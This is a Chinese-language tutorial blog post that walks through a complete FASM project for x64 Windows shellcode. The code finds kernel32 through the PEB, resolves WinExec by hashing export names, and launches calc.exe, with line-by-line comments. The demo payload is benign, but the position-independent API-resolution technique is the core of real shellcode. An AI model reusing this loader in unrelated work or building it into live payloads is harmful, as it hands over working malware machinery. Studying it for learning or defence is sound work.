欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

Shellcode In X64-2Search Function using hash

Shellcode In X64-2Search Function using hash

1 关于WinExec-run-calc X64
关于X64的可编译完整工程,我用谷歌没有找到,检索到的网址里面感觉这两个不错
/////http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
/////http://code.google.com/p/win-exec-calc-shellcode/downloads/list
推荐下  
xfish帖子地址  附带了hash计算器
http://bbs.pediy.com/showthread.php?t=86216
我在这里放一个fasm的完整可编译工程,把xfish的那份32位的WinExec run cmd
改成了64位的WinExec run calc 代码写的有点罗嗦,加入nop,然后用IDA或者其他工具
提取机器码的那个纯体力活我就不做了,只放工程和讲解,这份东西花了我大概四天的时间。
一天半学习fasm,剩下几天复习PE结构和做其他的。好了,我们开始。
    
                        2 fasm的一些基础知识
网上有一份1.67的fasm中文手册,可以供你参考。下面是一个fasm hello world 的例子 你可以从中
感受下fasm的语法和关键字,以及64位ASM编程。

//////////////////////////////////////////
format PE64 GUI
   include 'win64a.inc'
entry start 
section '.text' code readable executable 
  start: 
  sub  rsp,8*5   ; reserve stack for API use and make stack dqword aligned 
  mov  r9d,0 
  lea  r8,[_caption]
  lea  rdx,[_message] 
  mov  rcx,0 
  call  [MessageBoxA] 
  mov  ecx,eax 
  call  [ExitProcess] 
section '.data' data readable writeable 
  _caption db 'Win64 assembly program',0 
  _message db 'Hello World!',0 
     section '.import' import data readable writeable
     library kernel32, 'kernel32.dll',\ 
   user32, 'user32.dll' 
     include 'api\kernel32.inc' 
     include 'api\user32.inc'
//////////////////////////////////////////////
直接复制粘贴到fasm里面就可以编译通过生成一个hello world,通过这个
例子你可以亲身感受下fasm,利于我们接下来的学习。
                      3  shellcode工程注解
xfish的那份代码,基本没怎么讲解,也没怎么注释,看起来的确有点难度,
下面的代码,注释比较详细。代码既不精简,也不苗条,仅作为测试Demo进行
讲解
完整的工程代码如下,直接可以复制粘贴,编译运行。
///////////////////////////////////////////////////

format PE64 CONSOLE

macro .text {section '.text' code readable executable writeable}
macro .code {section '.code' code readable executable }
macro .data {section '.data' data readable writeable }
entry  __Entry
include 'win64axp.inc'
.text
 __Entry:
nop
nop
nop
nop
       call    GetKrnlBase3   
     push 016EF74Bh  ; Hash WinExec    32
     push rsi     ;kernel32 module   64
     call    GetApi 
   mov rdx,5
   lea rcx,[calc]
  call  rax
     ;   ret
     
    ;由于GetApi是我们自己实现的函数 
  ;我们不一定非得 r9 r8 rdx rcx
  ;对齐是10h+8  堆栈对齐
       
   ;      xor r9, r9
  ;       cinvoke getch
   invoke ExitProcess,0
;   mov  eax, [fs:30h]
;   mov  eax, [eax+0ch]  ;Get _PEB_LDR_DATA
;   mov  eax, [eax+1ch] ;Get InInitializationOrderModuleList.Flink, 
   ;此时eax指向的是ntdll模块的InInitializationOrderModuleList线性地址。所以我们获得它的下一个则是
kernel32.dll
;   mov  eax, [eax]
;  mov  eax, [eax+8h]
;  ret   
 ; add 3
  struct IMAGE_EXPORT_DIRECTORY
   Characteristics       dd      ?  ;未使用
   TimeDateStamp       dd      ?  ;文件生成时间
   MajorVersion        dw      ?  ;主版本号,一般为0
   MinorVersion        dw      ?  ;次版本号,一般为0
   nName         dd      ?  ;模块的真实名称
   nBase         dd      ?  ;基数, 加上序数就是函数地址数组的索引值
   NumberOfFunctions       dd      ?  ;AddressOfFunctions阵列的元素个数
   NumberOfNames       dd      ?  ;AddressOfNames阵列的元素个数
   AddressOfFunctions       dd      ?  ;指向函数地址数组
   AddressOfNames       dd      ?  ;函数名字的指针地址
   AddressOfNameOrdinals     dd      ?  ;指向输出序列号数组
 ends
 ;++
 ;
 ; int
 ;  GetApi(
 ;   IN HINSTANCE hModule, 
 ;   IN int      iHashApi,     
 ;   )
 ;
 ; Routine Description:
 ;
 ;    获取指定函数的内存地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;    Data   (esp+4) - hDllHandle
 ;           (esp+8) - nReason
 ; Return Value:
 ;
 ;    eax -> Function Mem Address。
 ;
 ;--
 GetApi:
 pop rdx; save return addr
 pop rax; hModule kernel32.dll基地址
 pop rcx; lpApiString 在这里是Hash  32位的
 
 push rdx ;return addr 再次入栈 保存返回地址 栈中只有rdx
;各类寄存器依次入站  pushad
push rax
push rcx
push rdx
push rbx
push rsp
push rbp
push rsi
push rdi

 mov ebx, eax; hModule rbx
 mov edi, ecx; hashapi rdi 
 
 mov eax, [ebx+3ch]; 此时rax为e_lfanew的值 保存了PE头文件
 ;的偏移位置
 mov esi, [ebx+eax+88h];数据目录表的第一个成员 保存了_IMAGE_EXPORT_D的RVA 32位下是78h
 lea esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]  ;esi==numberofnames的内存地址
 cld   
 lodsd  ; mov eax,[esi]  esi=esi+4
 xchg  eax,edx ;edx= NumberOfNames==有名字的函数的数量
 lodsd ;  mov eax,[esi] esi=esi+4  eax此时是eat的rva 增加之后的[esi]对应AddressOfNames 
 push  rax;[esp]=AddressOfFunctions  EAT的RVA 此时栈中有返回地址 pushad  EAT的RVA
 lodsd ;  mov eax,[esi] esi=esi+4  增加之后的[esi]对应AddressOfNameOrdinals
 xchg  eax,ebp;此时ebp 是ENT 的rva
 lodsd  ;mov eax,[esi] esi=esi+4   没有增加之前的[esi]对应AddressOfNameOrdinals
 xchg eax,ebp; 
 ;ebp = eot的rva, eax = ent的rva
 ;ebx  此时是hModule
 add  eax,ebx; 此时eax是ENT的内存地址
 ;ebx  此时是hModule
 xchg eax,esi; 此时rsi是指向ent的内存地址  VA=IB+RVA 
 ;其中大家最 为关注的输入表、导出表、
 ;重定位表、资源的结构体跟 PE32 一样,没有发生任何变化。
 
 .LoopScas:
 dec edx ;edx= 有名字的函数的数量
 jz  .Ret  ;.Ret先没写
 lodsd ;mov eax,[esi]  esi=esi+4 此时eax是ent的内容 
 ;内容也就是各个ASCII字符串的RVA
 add eax,ebx ;IB+字符串的rva  得到ASCII字符串的内存地址
 ;rbx此时是hModule
 push rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
 ;殃及递减器
 ;此时栈中有返回地址  EAT的RVA 有名字的函数数量 
;;全是64位的寄存器
 push rax; rax==函数名字的内存地址 也就是ASCII字符串的内存地址
  ;此时栈中有返回地址  EAT的RVA 有名字的函数数量  函数名字的内存地址
  ;全是64位的寄存器
 call GetRolHash
 ;此时edi是hash
 ;eax存贮了计算之后所得到的hash
 ;此时栈中有getapi的返回地址  EAT的RVA 有名字的函数数量 
 pop rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
 ; ;此时栈中有getapi的返回地址  EAT的RVA 
 ;rsi 下个函数名字的rva
 cmp eax,edi
 jz .GetAddr
 ;ebp = AddressOfNameOrdinals,
 add  ebp, 2
 ;ebp = eot的rva
 ;ebp = AddressOfNameOrdinals 的rva
 jmp  .LoopScas
 
 
;从 AddressOfNames 字段指向得到的函数名称地址表的第一项开始,
;在循环中将每一项定义的函数名与要查找的函数名相比较,
;如果没有任何一个函数名是符合的,表示文件中没有指定名称的函数 
 ;如果某一项定义的函数名与要查找的函数名符合,
 ;那么记下这个函数名在字符串地址表中的索引
 ;值,然后在 AddressOfNamesOrdinals 指向的
 ;数组中以同样的索引值取出数组项的值,我们这里假设这个值是x 
 ;最后,以 x 值作为索引值,在 AddressOfFunctions 
 ;字段指向的函数入口地址表中获取的 
 ;RVA 就是函数的入口地址。
;简单说是:查找AddressOfNames ,对应到a项,取AddressOfNamesOrdinals 
;的第a项的值得到b,取AddressOfFunctions 的第b项
 
  ;rbx此时是hModule
   ;ebp = AddressOfNameOrdinals 的rva 
   ;指向另一个word 类型的数组(注意不是双字数组)
  ; [rsp]==[esp]=AddressOfFunctions  也就是EAT的rva
   ; ;此时栈中有getapi的返回地址  EAT的RVA 
 .GetAddr:
  xor  rax,rax
  movzx eax,word [ebp+ebx];   00004000h
  shl  eax,2
  add  eax,[rsp]
  mov  eax,[ebx+eax]  ;得到了函数的RVA地址
  add  eax,ebx
     ; ;此时栈中有getapi的返回地址 pushad EAT的RVA 
.Ret:  
  pop rcx ;
  mov [rsp+8*7],rax
;       popad
pop rdi
pop rsi
pop rbp
pop rsp
pop rbx
pop rdx
pop rcx
pop rax
  ret
  ;EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX  按照这些指令出栈可能会覆盖寄存器的值
;必须mov [esp+4*7],eax
   
  
 GetKrnlBase3:
    mov rsi, [gs:60h]   ;peb from teb
    mov rsi, [rsi+18h]    ;_peb_ldr_data from peb
    mov rsi, [rsi+30h]   ;InInitializationOrderModuleList.Flink,
    ;rsi==00232c90 00000000
    mov rsi, [rsi]  ;kernelbase.dll
    ;rsi=00232b20 00000000
  mov rsi, [esi]      ;kernel32.dll
      mov rsi, [rsi+10h]  ; pay attention to danwei
    ret
 
 
 
 GetRolHash:
 pop rcx;返回地址
 pop rax;函数名字内存地址
 push rcx;压入返回地址
 push rsi;下个函数名字的rva  下个ent的内容 也就是下个函数名字的rva
;此时栈中有getapi的返回地址  EAT的RVA 有名字的函数数量 
;GetRolHash返回地址 下个函数名字的rva
 xor rdx,rdx
 xchg eax,esi ;rsi=第一个函数的名字的内存地址
 ;eax==下个函数名的RVA
 cld
 
 .Next:
 lodsb ; mov al,[si] si=si+1
 test al,al ;按位与测试直到函数最后一个0字符
 jz .Ret
 rol edx,3
 xor dl,al ;
 jmp .Next 
 
 .Ret:
 xchg eax,edx ;此时eax存储了hash  
 pop rsi ;下个函数名字的rva
 ret ;pop rcx 返回地址 正好堆栈平衡
 
.data
;type                   db "%I64x",0
;hello_msg      db 0Dh,0Ah
calc  db "calc.exe " ,0
show db 'SW_SHOW'
section '.idata' import data readable writable
  library kernel,'KERNEL32.DLL'
  import kernel,\
   ExitProcess,'ExitProcess'
;szCaption  db 'test',0
;
;     section '.import' import data readable writeable 
;     library kernel32, 'kernel32.dll',user32, 'user32.dll' 
;     include 'api\kernel32.inc' 
;     include 'api\user32.inc'
///////////////////////////////////////////////
注释的很详细了 需要说明的有这么几点
1堆栈平衡是重重之重,如果你记不住,就在每一行代码后面加好注释
搞清楚这个时候堆栈里面都还有些什么
2PE32+改变比较大的也就是NT头变成了IMAGE_NT_HEADERS64,使一些
偏移发生了变化,可以自行dt查看
3导出表没有发生变化
4导出表的后三个成员一定要好好看看,这是看懂代码的关键所在。

                           4  对call WinExec的说明
最后的代码我是这样写的
   mov rdx,5
   lea rcx,[calc]
   call  rax
实际上googlecode上面的那个作者也是用的rdx rcx传递的参数的,他的代码是这样的:
    PUSH    B2DW('c', 'a', 'l', 'c')      ; Stack = "calc", 0
    PUSH    RSP
    POP     RCX                           ; RCX = &("calc")
    PUSH    RCX                           ; WinExec messes with stack - 
    CDQ                                   ; RDX = 0
    CALL    RDI                           ; WinExec(&("calc"), 0);
你可能问,用r9\r8传递参数不可以吗,我用r9 r8传递参数结果程序crash。我们写个简单的小程序,使用
WinExec调用calc,IDA中显示这样的结果
; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
sub     rsp, 28h
lea     rcx, CmdLine    ; "calc.exe"
mov     edx, 5          ; uCmdShow
call    cs:__imp_WinExec
xor     eax, eax
add     rsp, 28h
retn  
调用WinExec的时候 windows本身就用的是rcx\rdx传递的参数,我们也还是老老实实的用rdx\rcx传递参数吧
Fasm 完整可编译工程
noprintfwinexec.7z

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功